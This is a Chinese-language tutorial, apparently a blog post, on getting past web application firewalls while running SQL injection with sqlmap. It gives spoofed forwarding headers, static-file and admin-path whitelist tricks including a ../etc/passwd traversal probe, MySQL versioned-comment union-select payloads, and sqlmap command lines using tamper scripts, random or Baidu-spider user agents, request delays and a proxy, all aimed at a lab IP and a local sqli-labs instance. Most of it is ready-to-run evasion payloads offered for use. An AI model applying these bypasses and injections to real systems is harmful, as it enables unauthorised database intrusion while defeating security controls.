sqlmap绕过waf
1、绕过的方法–白名单
方式一:ip白名单
从网络层tcp、udp获取的ip,这种一般伪造不来。
如果是通过脚本获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),
类似白名单机制,waf为了检测 效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/ sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别
方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。
只要url中存在 白名单的字符串,就作为白名单不进行检测。
常见的url构造姿势: http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../ manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要url中存在/manage/就作为白名单不进行检测,
这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。
方式四:爬虫白名单
部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:
1、根据useragent
2、通过行为来判断 UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
User Agent switcher (Firefox附加组 件):
下载地址: https : //addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/
2、利用数据库特性
这里展示利用mysql的数据库特性进行注入:
- 通过插入版本号:/!版本号/
%20union%20/*!44509select*/%201,2,3
/*!44509select*/:通过插入版本号(4.45.09), 绕过检测机制
%20/*!44509union*/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/ 特殊符号
%20union%20all%23%0a%20select%201,2,3%23
3、利用sqlmap的自带脚本或自写脚本
sqlmap会自带一些绕过脚本,在tamper文件夹下:
也可以自己添加Python脚本,利用tamper参数:–temp=脚本文件名来调用:
D:\Python\sqlmap>Python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=2" --tamper=base64encode.py
4、设置sqlmap的随机头部
因为waf一般能检测出sqlmap的自带头部:sqlmap/1.4.7 (http://sqlmap.org),从而进行拦截。所以要设置随机头部,利用**–random-agent**:
D:\Python\sqlmap>Python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=2" --tamper=base64encode.py --random-agent
若要进行抓包查看数据,则添加代理参数**–proxy**=http://127.0.0.1:8888 ,可通过抓包工具进行抓包:
D:\Python\sqlmap>Python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=2" --tamper=base64encode.py --random-agent --proxy=http://127.0.0.1:8888
5、采用工具注入被拉黑的解决措施
-
方法一:采用延时注入
D:\Python\sqlmap>Python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=2" --tamper=base64encode.py --random-agent --proxy=http://127.0.0.1:8888 --delay 1
改善时间过快,导致流量过大被拦截的问题。
-
方法二:采用代理池
-
方法三:换用搜索引擎的user-agent
D:\Python\sqlmap>Python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=2" --tamper=base64encode.py --user-agent=" Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" --proxy=http://127.0.0.1:8888
这里用了百度搜索的user-agent,各搜索引擎的user-agent可参考这篇文章:https://blog.csdn.net/Jack0610/article/details/112896700